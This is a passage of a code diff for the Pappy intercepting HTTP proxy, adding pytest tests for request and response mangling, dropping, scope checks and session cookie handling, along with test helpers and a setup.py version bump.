-    assert sent == 'GET /mangled HTTP/1.1\r\n\r\n'
+    (prot, sent, retreq_deferred) = \
+                    yield proxy_connection('GET / HTTP/1.1\r\n\r\n', MANGLED_REQ, None)
+    assert sent.full_request == 'GET /mangled HTTP/1.1\r\n\r\n'
 
 @pytest.inlineCallbacks
-def test_proxy_client_basic(mocker, proxy_connection):
-    mocker.patch('pappyproxy.mangle.mangle_request', new=notouch_mangle_req)
-    mocker.patch('pappyproxy.mangle.mangle_response', new=rsp_mangler_change)
+def test_proxy_client_mangle_rsp(mocker, proxy_connection, in_scope_true):
     # Make the connection
-    (prot, sent, resp_deferred) = yield proxy_connection('GET / HTTP/1.1\r\n\r\n')
+    (prot, sent, retreq_deferred) = \
+                    yield proxy_connection('GET / HTTP/1.1\r\n\r\n', None, MANGLED_RSP)
     prot.lineReceived('HTTP/1.1 200 OK')
     prot.lineReceived('Content-Length: 0')
     prot.lineReceived('')
-    ret_req = yield resp_deferred
-    response = ret_req.response.full_response
+    req = yield retreq_deferred
+    response = req.response.full_response
     assert response == 'HTTP/1.1 500 MANGLED\r\n\r\n'
+
+@pytest.inlineCallbacks
+def test_proxy_drop_req(mocker, proxy_connection, in_scope_true):
+    (prot, sent, retreq_deferred) = \
+                    yield proxy_connection('GET / HTTP/1.1\r\n\r\n', None, None, True, False)
+    assert sent is None
+
+@pytest.inlineCallbacks
+def test_proxy_drop_rsp(mocker, proxy_connection, in_scope_true):
+    (prot, sent, retreq_deferred) = \
+                    yield proxy_connection('GET / HTTP/1.1\r\n\r\n', None, None, False, True)
+    prot.lineReceived('HTTP/1.1 200 OK')
+    prot.lineReceived('Content-Length: 0')
+    prot.lineReceived('')
+    retreq = yield retreq_deferred
+    assert retreq.response is None
+
+@pytest.inlineCallbacks
+def test_proxy_client_360_noscope(mocker, proxy_connection, in_scope_false):
+    # Make the connection
+    (prot, sent, retreq_deferred) = yield proxy_connection('GET / HTTP/1.1\r\n\r\n')
+    assert sent.full_request == 'GET / HTTP/1.1\r\n\r\n'
+    prot.lineReceived('HTTP/1.1 200 OK')
+    prot.lineReceived('Content-Length: 0')
+    prot.lineReceived('')
+    req = yield retreq_deferred
+    assert req.response.full_response == 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n'

pappyproxy/tests/test_session.py

@@ -0,0 +1,104 @@
+import pytest
+from pappyproxy.session import Session
+from pappyproxy.http import Request, Response, ResponseCookie
+
+@pytest.fixture
+def req():
+    r = Request()
+    r.status_line = 'GET / HTTP/1.1'
+    return r
+
+@pytest.fixture
+def rsp():
+    r = Response()
+    r.status_line = 'HTTP/1.1 200 OK'
+    return r
+
+def test_session_basic(req, rsp):
+    s = Session(
+        cookie_vals={'session':'foo'},
+        header_vals={'auth':'bar'},
+    )
+
+    assert 'session' not in req.cookies
+    assert 'session' not in rsp.cookies
+    assert 'auth' not in req.headers
+    assert 'auth' not in rsp.headers
+    s.apply_req(req)
+    s.apply_rsp(rsp)
+    assert req.cookies['session'] == 'foo'
+    assert rsp.cookies['session'].cookie_str == 'session=foo'
+    assert req.headers['auth'] == 'bar'
+    assert 'auth' not in rsp.headers
+
+def test_session_cookieobj_basic(req, rsp):
+    s = Session(
+        cookie_vals={'session':ResponseCookie('session=foo; secure; httponly; path=/')},
+        header_vals={'auth':'bar'},
+    )
+
+    s.apply_req(req)
+    s.apply_rsp(rsp)
+    assert req.cookies['session'] == 'foo'
+    assert rsp.cookies['session'].key == 'session'
+    assert rsp.cookies['session'].val == 'foo'
+    assert rsp.cookies['session'].secure
+    assert rsp.cookies['session'].http_only
+    assert rsp.cookies['session'].path == '/'
+    assert req.headers['auth'] == 'bar'
+    assert 'auth' not in rsp.headers
+
+def test_session_get_req(req):
+    req.headers['BasicAuth'] = 'asdfasdf'
+    req.headers['Host'] = 'www.myfavoritecolor.foobar'
+    req.cookies['session'] = 'foobar'
+    req.cookies['favorite_color'] = 'blue'
+
+    s = Session()
+    s.get_req(req, ['session'], ['BasicAuth'])
+    assert s.cookies == ['session']
+    assert s.headers == ['BasicAuth']
+    assert s.cookie_vals['session'].val == 'foobar'
+    assert s.header_vals['BasicAuth'] == 'asdfasdf'
+    assert 'Host' not in s.headers
+    assert 'favorite_color' not in s.cookies
+
+def test_session_get_rsp(rsp):
+    rsp.headers['BasicAuth'] = 'asdfasdf'
+    rsp.headers['Host'] = 'www.myfavoritecolor.foobar'
+    rsp.set_cookie(ResponseCookie('session=foobar; secure; path=/'))
+    rsp.set_cookie(ResponseCookie('favorite_color=blue; secure; path=/'))
+
+    s = Session()
+    s.get_rsp(rsp, ['session'])
+    assert s.cookies == ['session']
+    assert s.headers == []
+    assert s.cookie_vals['session'].key == 'session'
+    assert s.cookie_vals['session'].val == 'foobar'
+    assert s.cookie_vals['session'].path == '/'
+    assert s.cookie_vals['session'].secure
+
+def test_session_mixed(req, rsp):
+    s = Session(
+        cookie_names=['session', 'state'],
+        cookie_vals={'session':ResponseCookie('session=foo; secure; httponly; path=/')},
+        header_vals={'auth':'bar'},
+    )
+
+    s.apply_req(req)
+    s.apply_rsp(rsp)
+    assert req.cookies['session'] == 'foo'
+    assert rsp.cookies['session'].key == 'session'
+    assert rsp.cookies['session'].val == 'foo'
+    assert rsp.cookies['session'].secure
+    assert rsp.cookies['session'].http_only
+    assert rsp.cookies['session'].path == '/'
+    assert 'auth' not in rsp.headers
+
+    r = Response()
+    r.status_line = 'HTTP/1.1 200 OK'
+    r.set_cookie(ResponseCookie('state=bazzers'))
+    r.set_cookie(ResponseCookie('session=buzzers'))
+    s.get_rsp(r)
+    assert s.cookie_vals['session'].val == 'buzzers'
+    assert s.cookie_vals['state'].val == 'bazzers'

pappyproxy/tests/testutil.py

@@ -1,6 +1,11 @@
+import __builtin__
+import mock
 import pytest
+import StringIO
 from twisted.internet import defer
 
+next_mock_id = 0
+
 class ClassDeleted():
     pass
 
@@ -40,3 +45,31 @@ def no_database(mocker):
     # Don't make database queries
     mocker.patch("twisted.enterprise.adbapi.ConnectionPool",
                  new=ClassDeleted)
+    
+def fake_save_request(r):
+    global next_mock_id
+    r.reqid = next_mock_id
+    next_mock_id += 1
+    return mock_deferred(None)
+
+def fake_save_response(r):
+    global next_mock_id
+    r.rspid = next_mock_id
+    next_mock_id += 1
+    return mock_deferred(None)
+
+@pytest.fixture
+def fake_saving(mocker):
+    mocker.patch("pappyproxy.http.Request.async_save", new=fake_save_request)
+    mocker.patch("pappyproxy.http.Response.async_save", new=fake_save_response)
+
+@pytest.fixture
+def mock_deep_save(mocker, fake_saving):
+    new_deep_save = mock.MagicMock()
+    new_deep_save.return_value = mock_deferred(None)
+    mocker.patch("pappyproxy.http.Request.async_deep_save", new=new_deep_save)
+    return new_deep_save
+
+def print_fuck(*args, **kwargs):
+    print 'fuck'
+

setup.py

@@ -3,7 +3,7 @@
 from distutils.core import setup
 
 setup(name='pappyproxy',
-      version='0.0.1',
+      version='0.0.2',
       description='The Pappy Intercepting Proxy',
       author='Rob Glew',
       author_email='rglew56@gmail.com',
@@ -13,11 +13,14 @@ setup(name='pappyproxy',
       entry_points = {
           'console_scripts':['pappy = pappyproxy.pappy:start'],
           },
-      long_description=open('README.md').read(),
+      long_description=open('docs/source/overview.rst').read(),
       keywords='http proxy hacking 1337hax pwnurmum',
+      download_url='https://github.com/roglew/pappy-proxy/archive/0.0.2.tar.gz',
       install_requires=[
+          'beautifulsoup4>=4.4.1',
           'cmd2>=0.6.8',
           'crochet>=1.4.0',
+          'Jinja2>=2.8',
           'pygments>=2.0.2',
           'pytest-cov>=2.2.0',
           'pytest-mock>=0.9.0',
@@ -28,6 +31,7 @@ setup(name='pappyproxy',
           ],
       classifiers=[
           'Intended Audience :: Developers',
+          'Intended Audience :: Information Technology',
           'Operating System :: MacOS',
           'Operating System :: POSIX :: Linux',
           'Development Status :: 2 - Pre-Alpha',